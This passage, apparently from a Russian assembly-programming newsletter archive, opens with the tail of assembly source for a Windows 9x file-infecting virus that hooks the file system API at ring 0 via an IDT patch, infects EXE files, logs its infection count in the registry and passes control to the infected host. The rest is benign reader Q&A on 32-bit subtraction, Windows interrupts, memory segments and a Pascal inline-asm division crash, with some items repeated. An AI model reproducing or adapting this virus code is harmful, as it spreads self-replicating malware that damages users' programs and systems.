ascii value mov [byte ptr esi],bl inc esi mov byte ptr [esi],':' inc esi mov byte ptr[ esi],'\' ; got 'c:\',for example :) PathSet: push 0 push 130 ; Length of buffer push eax ;source push esi ;dest Fix4Value equ UniToBCSPath+256*256*IFSMgr Fix_4: VxdCall IFSMgr, UniToBCSPath ;Transform to BCS add esp,4*4 ;restore Stack add esi,eax mov byte ptr [esi],0 ;now null-terminated mov ebx,dword ptr [esi-4] ;Get File Ext cmp ebx,EXE ; EXE file ? (see EXE EQU ) jne Reset ;nope,exit pushad call InfectFile cmp ax,0FFFFh ; error ? je Do_Not_UpDate_Registry ; if error ;if infected successfully... inc dword ptr [edi+ProgsInfected-start] ; one more program infected! lea eax,[edi+HkeyHandle-start] push eax lea eax,[edi+VirusKey-start] push eax Push L HKEY_LOCAL_MACHINE Fix9Value equ _RegOpenKey+256*256*VMM Fix_9: VxdCall VMM, _RegOpenKey add esp,12 ;key opened.... ;saving value now... mov eax,4 push eax lea eax,[edi+ProgsInfected-start] push eax push REG_BINARY PUSH L 0 lea eax,[edi+KeyValue-start] push eax mov eax ,[edi+HkeyHandle-start] push eax Fix10Value EQU _RegSetValueEx+256*256*VMM Fix_10:VxdCall VMM, _RegSetValueEx add esp,24 ;and call RegFlushKey for sure Fix12Value equ _RegFlushKey+256*256*VMM mov eax,[edi+HkeyHandle-start] push eax Fix_12: VxdCall VMM, _RegFlushKey add esp,4 ;just close the key! mov eax,[edi+HkeyHandle-start] push eax Fix11Value EQU _RegCloseKey+256*256*VMM Fix_11:VxdCall VMM, _RegCloseKey add esp,4 ;registry updated! Do_Not_UpDate_Registry: popad ;----------------FINALIZATION -------------------------------------------- Reset: mov byte ptr [edi+flag-start],0 ; call our APIhooker next time Fin: popad db 0B8h OldApiHook dd 0 ; <---- mov eax,[OldApiHook] pop ebp jmp [eax] FinalHandler: ret End_IFSAPIHook: Initialization: ;this program will analize the registry mov dword ptr [edi+binary-start],4h ;size of ProgsInfected var (dword) mov dword ptr [edi+ProgsInfected - start],1 lea eax,[edi+HkeyHandle-start] push eax lea eax,[edi+VirusKey-start] push eax Push L HKEY_LOCAL_MACHINE Fix5Value equ _RegCreateKey+256*256*VMM Fix_5: VxdCall VMM, _RegCreateKey add esp,12 ; Let's try to get infected progs number .... if not defined, will be equal to 0 lea eax, byte ptr [edi+binary-start] push eax lea eax,[edi+ProgsInfected-start] push eax push L 0 push L 0 lea eax,[edi+KeyValue-start] push eax mov eax ,[edi+HkeyHandle-start] push eax Fix6Value equ _RegQueryValueEx+256*256*VMM Fix_6: VxdCall VMM, _RegQueryValueEx add esp,24 cmp [edi+ProgsInfected-start],1 ja DoNotSetDefault mov eax,4 push eax mov [edi+ProgsInfected-start],1 lea eax,[edi+ProgsInfected-start] push eax push REG_BINARY PUSH L 0 lea eax,[edi+KeyValue-start] push eax mov eax ,[edi+HkeyHandle-start] push eax Fix7Value EQU _RegSetValueEx+256*256*VMM Fix_7:VxdCall VMM, _RegSetValueEx add esp,24 DoNotSetDefault: ;just close the key! mov eax,[edi+HkeyHandle-start] push eax Fix8Value EQU _RegCloseKey+256*256*VMM Fix_8:VxdCall VMM, _RegCloseKey add esp,4 cmp [edi+ProgsInfected-start],ProgsMustBeInfected jae @@call jmp @@ret @@call: call beep @@ret: ret End_Initialization: RING0: pushad mov eax,dr0 cmp eax ,'LIFE' je Fucker ;jump to popad,iret :) ; else - we must say to our brothers that we are resident mov eax,'LIFE' mov dr0,eax Fix2Value equ GetHeap+256*256*IFSMgr push L VirusSize Fix_2: VxdCall IFSMgr, GetHeap add esp,4 cmp eax,0 jz Fucker_1 mov edi,eax mov [ebp+delta1],edi lea esi,dword ptr [ebp+start] mov ecx,VirSize push edi cld rep movsb ; copy virus . pop edi pushad call Initialization popad Fix3Value equ InstallFileSystemApiHook+256*256*IFSMgr lea eax, [edi+IFSAPIHook-start] push eax Fix_3: VxdCall IFSMgr, InstallFileSystemApiHook pop ebx ; clear the stack up . mov [edi+OldApiHook-start],eax ; lea ? Fucker: popad iretd Fucker_1: call beep popad iretd END_Ring0: Codestart: mov byte ptr [ebp+flag],0 ; execute OUR APIHOOKER sidt [ebp+IDTADDR] mov esi,dword ptr [ebp+IDTADDR+2] ; Get Address of int table add esi,intnum*8 mov dword ptr [ebp+OldExceptPos],esi xor ebx,ebx mov bx,word ptr [esi+6] ; low shl ebx,10h mov bx,[word ptr esi] ;ebx now has the address of old handler mov [ebp+OldAddr],ebx ;now Oldaddr points to the oldaddr lea eax,[ebp+offset RING0] mov word ptr [esi],ax ;high word shr eax,10h mov word ptr [esi+6],ax ; low ;INTERCEPTED int intnum ; generate an exception to get to ring0 ;Restore ... mov esi,dword ptr [ebp+OldExceptPos] mov eax,[ebp+OldAddr] mov word ptr [esi],ax ;high (reverse!) shr eax,10h mov word ptr [esi+6],ax ;low (reverse!) cmp ebp,0 je FirstGeneration Exit: mov eax,[ebp+Old_EntryPoint] add eax, dword ptr [ebp+Old_ImageBase] jmp eax ; Transfer control to infected host VirusEnd: FirstGeneration: push 0 call ExitProcess end start

Вопрос №671

Ну точно надоел:
Еще вопрос: Как правильно вычитать 32bit переменные? Что-то подобное было в рассылке, но я не совсем понял. Оссобенно меня волнует вычитаение когда младшее слово вычитаемого больше источника.
Спасибо еще раз.

Ответ

Здравствуйте, Евгений!
Пользуйся 32 битными регистрами.
Пример:
Надо вычесть var1 (dword) из var 2 (dword):

mov eax,[var2]
mov ebx,[var1]
sub eax,ebx ; eax = разность

Вопрос №654

Hi,!
В Builder'e (среда объектно-ориентированной разработки win приложений)
имеется asm вставка стоит воспользоваться прерыванием как вылетает
с ошибкой на строке int interrupt, что же использовать вместо прерывания?
Andrei.

Ответ

Здравствуйте, Andrei!
В Windows вы не имеете право использовать прерываний. Вместо них на третьем кольце защиты (на котором и находится скорее всего ваша прога)
используются API функции (см. win32 programmers referencе) Из вышесказанного ясно, что использование ассемблера в этом случае не увеличит быстродействие ваших программ, т.к. из языка выского уровня вы обращаетесь с API и из ассемблера также.
прямой Доступ к железу на третьем кольце защиты запрещен.
пиши если чо:
e-mail: codebuilder@chat.ru
ICQ 45249044

Вопрос №654

Hi,!
В Builder'e (среда объектно-ориентированной разработки win приложений)
имеется asm вставка стоит воспользоваться прерыванием как вылетает
с ошибкой на строке int interrupt, что же использовать вместо прерывания?
Andrei.

Ответ

Здравствуйте, Andrei!
В Windows вы не имеете право использовать прерываний. Вместо них на третьем кольце защиты (на котором и находится скорее всего ваша прога)
используются API функции (см. win32 programmers referencе) Из вышесказанного ясно, что использование ассемблера в этом случае не увеличит быстродействие ваших программ, т.к. из языка выского уровня вы обращаетесь с API и из ассемблера также.
прямой Доступ к железу на третьем кольце защиты запрещен.
пиши если чо:
e-mail: codebuilder@chat.ru
ICQ 45249044

Вопрос №671

Ну точно надоел:
Еще вопрос: Как правильно вычитать 32bit переменные? Что-то подобное было в рассылке, но я не совсем понял. Оссобенно меня волнует вычитаение когда младшее слово вычитаемого больше источника.
Спасибо еще раз.

Ответ

Здравствуйте, Евгений!

Если ты не планируешь использовать 32-х битные регистры, то действовать надо так:

dx:ax - bx:cx

sub ax, cx
sbb dx, bx

Вопрос №688

Здраствуй эксперт!
Почему сегмент начинается с пораграфа (16-ти байтная величина)?

Ответ

Здравствуйте, Alex!
Так как это очень выгодно, вот смотри:
допустим сегмент начинается не с параграфа, тогда пришлось бы добавлять еще один разряд, т.к. если мы смотрим на адрес сегмента, допустим он равен 556fh, но по-настоящему этот адрес равен 556f0h, т.е. если он начинается с параграфа, то он делится на 16, а значит в адресе последним всегда будет 0, чем и воспользовались производители процессоров и убрали ненужный 0.

Вопрос №688

Здраствуй эксперт!
Почему сегмент начинается с пораграфа (16-ти байтная величина)?

Ответ

Здравствуйте, Alex!

Так уж повелось... :)

на старых интелях (8086) был мегабайт памяти максимум и 16-битные регистры.
чтобы адресовать мегабайт - надо 20 бит адреса, так оно и было собственно. но регистры то 16-битные... для этого и ввели сегментные регистры, которые показывают старшие 16 бит адреса... младшие 4 бита определяются смещением, но елси взять нулевое смещение, то адрес в памяти равен сегментному регистру, к которому справа дописано 4 двоичных нуля... (ясно излагаю?) дык вот, то есть сегментные регистры могут указывать на память с интервалом в 16 байт. вот эти 16 байт и назвали параграфами.

Вопрос №667

Пишу на паскале, но в особо узких местах пытаюсь переоптимизировать код встроенным асмом. Все отлично,
только вот незадача:
пытаюсь заменить код Tmp:=Sum div bb {Tmp,bb - byte; Sum:Word) на такое
Asm
mov bl,bb
mov ax,Sum
div bl
mov Tmp,al
end;
В результате прога просто отваливается
Если есть идеи - с радостью рассмотрю и попробую
P.S. Прога компилится для защищенного ДОС-режима.
Спасибо

Ответ

Здравствуйте, Евгений!

Может быть результат деления не влезает в байт??? в этом случае программа вывалится. проверь что ты считаешь.

Подписаться на рассылки

Форма подачи вопроса

Регистрация в качестве эксперта

Архив выпусков

Ведущий рассылки,